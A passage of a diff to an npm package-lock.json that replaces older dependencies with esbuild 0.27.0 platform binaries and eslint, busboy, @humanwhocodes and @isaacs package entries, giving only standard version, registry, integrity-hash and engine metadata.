"sha512-I7wzHwA3t1/lwXQh+A5PbNvJxgfo5r3xulgpYDB5zckTu/Z9oUK9biouBKQUjEqzaz3HnAT6TYoovmE+GqSf7A==", + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.0.tgz", + "integrity": "sha512-9FHtyO988CwNMMOE3YIeci+UV+x5Zy8fI2qHNpsEtSF83YPBmE8UWmfYAQg6Ux7Gsmd4FejZqnEUZCMGaNQHQw==", + "cpu": [ + "arm64" + ], "dev": true, + "optional": true, + "os": [ + "freebsd" + ], "engines": { - "node": ">=0.10" + "node": ">=18" } }, - "node_modules/buffers": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/buffers/-/buffers-0.1.1.tgz", - "integrity": "sha1-skV5w77U1tOWru5tmorn9Ugqt7s=", + "node_modules/@esbuild/freebsd-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.0.tgz", + "integrity": "sha512-zCMeMXI4HS/tXvJz8vWGexpZj2YVtRAihHLk1imZj4efx1BQzN76YFeKqlDr3bUWI26wHwLWPd3rwh6pe4EV7g==", + "cpu": [ + "x64" + ], "dev": true, + "optional": true, + "os": [ + "freebsd" + ], "engines": { - "node": ">=0.2.0" + "node": ">=18" } }, - "node_modules/call-bind": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "node_modules/@esbuild/linux-arm": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.0.tgz", + "integrity": "sha512-t76XLQDpxgmq2cNXKTVEB7O7YMb42atj2Re2Haf45HkaUpjM2J0UuJZDuaGbPbamzZ7bawyGFUkodL+zcE+jvQ==", + "cpu": [ + "arm" + ], "dev": true, - "dependencies": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" } }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "node_modules/@esbuild/linux-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.0.tgz", + "integrity": "sha512-AS18v0V+vZiLJyi/4LphvBE+OIX682Pu7ZYNsdUHyUKSoRwdnOsMf6FDekwoAFKej14WAkOef3zAORJgAtXnlQ==", + "cpu": [ + "arm64" + ], "dev": true, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">=6" + "node": ">=18" } }, - "node_modules/camelcase": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.1.tgz", - "integrity": "sha512-tVI4q5jjFV5CavAU8DXfza/TJcZutVKo/5Foskmsqcm0MsL91moHvwiGNnqaa2o6PF/7yT5ikDRcVcl8Rj6LCA==", + "node_modules/@esbuild/linux-ia32": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.0.tgz", + "integrity": "sha512-Mz1jxqm/kfgKkc/KLHC5qIujMvnnarD9ra1cEcrs7qshTUSksPihGrWHVG5+osAIQ68577Zpww7SGapmzSt4Nw==", + "cpu": [ + "ia32" + ], "dev": true, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=18" } }, - "node_modules/chainsaw": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz", - "integrity": "sha1-XqtQsor+WAdNDVgpE4iCi15fvJg=", + "node_modules/@esbuild/linux-loong64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.0.tgz", + "integrity": "sha512-QbEREjdJeIreIAbdG2hLU1yXm1uu+LTdzoq1KCo4G4pFOLlvIspBm36QrQOar9LFduavoWX2msNFAAAY9j4BDg==", + "cpu": [ + "loong64" + ], "dev": true, - "dependencies": { - "traverse": ">=0.3.0 <0.4" - }, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": "*" + "node": ">=18" } }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/@esbuild/linux-mips64el": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.0.tgz", + "integrity": "sha512-sJz3zRNe4tO2wxvDpH/HYJilb6+2YJxo/ZNbVdtFiKDufzWq4JmKAiHy9iGoLjAV7r/W32VgaHGkk35cUXlNOg==", + "cpu": [ + "mips64el" + ], "dev": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "node": ">=18" } }, - "node_modules/cheerio": { - "version": "1.0.0-rc.10", - "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.10.tgz", - "integrity": "sha512-g0J0q/O6mW8z5zxQ3A8E8J1hUgp4SMOvEoW/x84OwyHKe/Zccz83PVT4y5Crcr530FV6NgmKI1qvGTKVl9XXVw==", + "node_modules/@esbuild/linux-ppc64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.0.tgz", + "integrity": "sha512-z9N10FBD0DCS2dmSABDBb5TLAyF1/ydVb+N4pi88T45efQ/w4ohr/F/QYCkxDPnkhkp6AIpIcQKQ8F0ANoA2JA==", + "cpu": [ + "ppc64" + ], "dev": true, - "dependencies": { - "cheerio-select": "^1.5.0", - "dom-serializer": "^1.3.2", - "domhandler": "^4.2.0", - "htmlparser2": "^6.1.0", - "parse5": "^6.0.1", - "parse5-htmlparser2-tree-adapter": "^6.0.1", - "tslib": "^2.2.0" - }, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">= 6" - }, - "funding": { - "url": "https://github.com/cheeriojs/cheerio?sponsor=1" + "node": ">=18" } }, - "node_modules/cheerio-select": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-1.5.0.tgz", - "integrity": "sha512-qocaHPv5ypefh6YNxvnbABM07KMxExbtbfuJoIie3iZXX1ERwYmJcIiRrr9H05ucQP1k28dav8rpdDgjQd8drg==", + "node_modules/@esbuild/linux-riscv64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.0.tgz", + "integrity": "sha512-pQdyAIZ0BWIC5GyvVFn5awDiO14TkT/19FTmFcPdDec94KJ1uZcmFs21Fo8auMXzD4Tt+diXu1LW1gHus9fhFQ==", + "cpu": [ + "riscv64" + ], "dev": true, - "dependencies": { - "css-select": "^4.1.3", - "css-what": "^5.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0", - "domutils": "^2.7.0" - }, - "funding": { - "url": "https://github.com/sponsors/fb55" + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" } }, - "node_modules/cheerio/node_modules/tslib": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", - "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", - "dev": true - }, - "node_modules/chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "node_modules/@esbuild/linux-s390x": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.0.tgz", + "integrity": "sha512-hPlRWR4eIDDEci953RI1BLZitgi5uqcsjKMxwYfmi4LcwyWo2IcRP+lThVnKjNtk90pLS8nKdroXYOqW+QQH+w==", + "cpu": [ + "s390x" + ], "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } + "optional": true, + "os": [ + "linux" ], - "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - }, "engines": { - "node": ">= 8.10.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" + "node": ">=18" } }, - "node_modules/chokidar/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "node_modules/@esbuild/linux-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.0.tgz", + "integrity": "sha512-1hBWx4OUJE2cab++aVZ7pObD6s+DK4mPGpemtnAORBvb5l/g5xFGk0vc0PjSkrDs0XaXj9yyob3d14XqvnQ4gw==", + "cpu": [ + "x64" + ], "dev": true, - "dependencies": { - "is-glob": "^4.0.1" - }, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">= 6" + "node": ">=18" } }, - "node_modules/chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", - "dev": true - }, - "node_modules/cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.0.tgz", + "integrity": "sha512-6m0sfQfxfQfy1qRuecMkJlf1cIzTOgyaeXaiVaaki8/v+WB+U4hc6ik15ZW6TAllRlg/WuQXxWj1jx6C+dfy3w==", + "cpu": [ + "arm64" + ], "dev": true, - "dependencies": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", - "wrap-ansi": "^7.0.0" + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" } }, - "node_modules/code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", + "node_modules/@esbuild/netbsd-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.0.tgz", + "integrity": "sha512-xbbOdfn06FtcJ9d0ShxxvSn2iUsGd/lgPIO2V3VZIPDbEaIj1/3nBBe1AwuEZKXVXkMmpr6LUAgMkLD/4D2PPA==", + "cpu": [ + "x64" + ], "dev": true, + "optional": true, + "os": [ + "netbsd" + ], "engines": { - "node": ">=0.10.0" + "node": ">=18" } }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.0.tgz", + "integrity": "sha512-fWgqR8uNbCQ/GGv0yhzttj6sU/9Z5/Sv/VGU3F5OuXK6J6SlriONKrQ7tNlwBrJZXRYk5jUhuWvF7GYzGguBZQ==", + "cpu": [ + "arm64" + ], "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, + "optional": true, + "os": [ + "openbsd" + ], "engines": { - "node": ">=7.0.0" + "node": ">=18" } }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "node_modules/@esbuild/openbsd-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.0.tgz", + "integrity": "sha512-aCwlRdSNMNxkGGqQajMUza6uXzR/U0dIl1QmLjPtRbLOx3Gy3otfFu/VjATy4yQzo9yFDGTxYDo1FfAD9oRD2A==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } }, - "node_modules/commander": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz", - "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==", + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.0.tgz", + "integrity": "sha512-nyvsBccxNAsNYz2jVFYwEGuRRomqZ149A39SHWk4hV0jWxKM0hjBPm3AmdxcbHiFLbBSwG6SbpIcUbXjgyECfA==", + "cpu": [ + "arm64" + ], "dev": true, + "optional": true, + "os": [ + "openharmony" + ], "engines": { - "node": ">= 6" + "node": ">=18" } }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + "node_modules/@esbuild/sunos-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.0.tgz", + "integrity": "sha512-Q1KY1iJafM+UX6CFEL+F4HRTgygmEW568YMqDA5UV97AuZSm21b7SXIrRJDwXWPzr8MGr75fUZPV67FdtMHlHA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } }, - "node_modules/console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", - "dev": true + "node_modules/@esbuild/win32-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.0.tgz", + "integrity": "sha512-W1eyGNi6d+8kOmZIwi/EDjrL9nxQIQ0MiGqe/AWc6+IaHloxHSGoeRgDRKHFISThLmsewZ5nHFvGFWdBYlgKPg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } }, - "node_modules/core-util-is": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", - "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", - "dev": true + "node_modules/@esbuild/win32-ia32": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.0.tgz", + "integrity": "sha512-30z1aKL9h22kQhilnYkORFYt+3wp7yZsHWus+wSKAJR8JtdfI76LJ4SBdMsCopTR3z/ORqVu5L1vtnHZWVj4cQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } }, - "node_modules/cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "node_modules/@esbuild/win32-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.0.tgz", + "integrity": "sha512-aIitBcjQeyOhMTImhLZmtxfdOcuNRpwlPNmlFKPcHQYPhEssw75Cl1TSXJXpMkzaua9FUetx/4OQKq7eJul5Cg==", + "cpu": [ + "x64" + ], "dev": true, - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, + "optional": true, + "os": [ + "win32" + ], "engines": { - "node": ">= 8" + "node": ">=18" } }, - "node_modules/css-select": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.1.3.tgz", - "integrity": "sha512-gT3wBNd9Nj49rAbmtFHj1cljIAOLYSX1nZ8CB7TBO3INYckygm5B7LISU/szY//YmdiSLbJvDLOx9VnMVpMBxA==", + "node_modules/@eslint-community/eslint-utils": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.7.0.tgz", + "integrity": "sha512-dyybb3AcajC7uha6CvhdVRJqaKyn7w2YKqKyAN37NKYgZT36w+iRb0Dymmc5qEJ549c/S31cMMSFd75bteCpCw==", "dev": true, + "license": "MIT", "dependencies": { - "boolbase": "^1.0.0", - "css-what": "^5.0.0", - "domhandler": "^4.2.0", - "domutils": "^2.6.0", - "nth-check": "^2.0.0" + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" }, "funding": { - "url": "https://github.com/sponsors/fb55" + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, - "node_modules/css-what": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/css-what/-/css-what-5.1.0.tgz", - "integrity": "sha512-arSMRWIIFY0hV8pIxZMEfmMI47Wj3R/aWpZDDxWYCPEiOMv6tfOrnpDtgxBYPEQD4V0Y/958+1TdC3iWTFcUPw==", + "node_modules/@eslint-community/regexpp": { + "version": "4.10.0", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.10.0.tgz", + "integrity": "sha512-Cu96Sd2By9mCNTx2iyKOmq10v22jUVQv0lQnlGNy16oE9589yE+QADPbrMGCkA51cKZSg3Pu/aTJVTGfL/qjUA==", "dev": true, "engines": { - "node": ">= 6" - }, - "funding": { - "url": "https://github.com/sponsors/fb55" + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" } }, - "node_modules/debug": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.3.tgz", - "integrity": "sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q==", + "node_modules/@eslint/eslintrc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz", + "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==", "dev": true, "dependencies": { - "ms": "2.1.2" + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" }, "engines": { - "node": ">=6.0" + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } + "funding": { + "url": "https://opencollective.com/eslint" } }, - "node_modules/decamelize": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz", - "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "node_modules/@eslint/js": { + "version": "8.57.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.0.tgz", + "integrity": "sha512-Ys+3g2TaW7gADOJzPt83SJtCDhMjndcDMFVQ/Tj9iA1BfJzFKD9mAUXT3OenpuPHbI6P/myECxRJrofUsDx/5g==", "dev": true, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" } }, - "node_modules/decompress-response": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-4.2.1.tgz", - "integrity": "sha512-jOSne2qbyE+/r8G1VU+G/82LBs2Fs4LAsTiLSHOCOMZQl2OKZ6i8i4IyHemTe+/yIXOtTcRQMzPcgyhoFlqPkw==", + "node_modules/@fastify/busboy": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@fastify/busboy/-/busboy-2.1.1.tgz", + "integrity": "sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/@gar/promisify": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", + "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.11.14", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.14.tgz", + "integrity": "sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==", "dev": true, "dependencies": { - "mimic-response": "^2.0.0" + "@humanwhocodes/object-schema": "^2.0.2", + "debug": "^4.3.1", + "minimatch": "^3.0.5" }, "engines": { - "node": ">=8" + "node": ">=10.10.0" } }, - "node_modules/deep-extend": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", "dev": true, "engines": { - "node": ">=4.0.0" + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" } }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "node_modules/@humanwhocodes/object-schema": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.2.tgz", + "integrity": "sha512-6EwiSjwWYP7pTckG6I5eyFANjPhmPjUX9JRLUSfNPC7FX7zK9gyZAfUEaECL6ALTpGX5AjnBq3C9XmVWPitNpw==", "dev": true }, - "node_modules/delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "dev": true - }, - "node_modules/detect-libc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", - "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=", + "node_modules/@isaacs/balanced-match": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@isaacs/balanced-match/-/balanced-match-4.0.1.tgz", + "integrity": "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==", "dev": true, - "bin": { - "detect-libc": "bin/detect-libc.js" - }, "engines": { - "node": ">=0.10" + "node": "20 || >=22" } }, - "node_modules/diff": { + "node_modules/@isaacs/brace-expansion": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", - "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", + "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.0.tgz", + "integrity": "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==", "dev": true, + "dependencies": { + "@isaacs/balanced-match": "^4.0.1" + }, "engines": { - "node": ">=0.3.1" + "node": "20 || >=22" } }, - "node_modules/dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", "dependencies": { - "path-type": "^4.0.0" + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" }, "engines": { - "node": ">=8" + "node": ">=12" } }, - "node_modules/doctrine": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", - "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", - "dev": true, - "dependencies": { - "esutils": "^2.0.2" + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "engines": { + "node": ">=12" }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", "engines": { - "node": ">=6.0.0" + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/dom-serializer": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", - "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", - "dev": true, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": 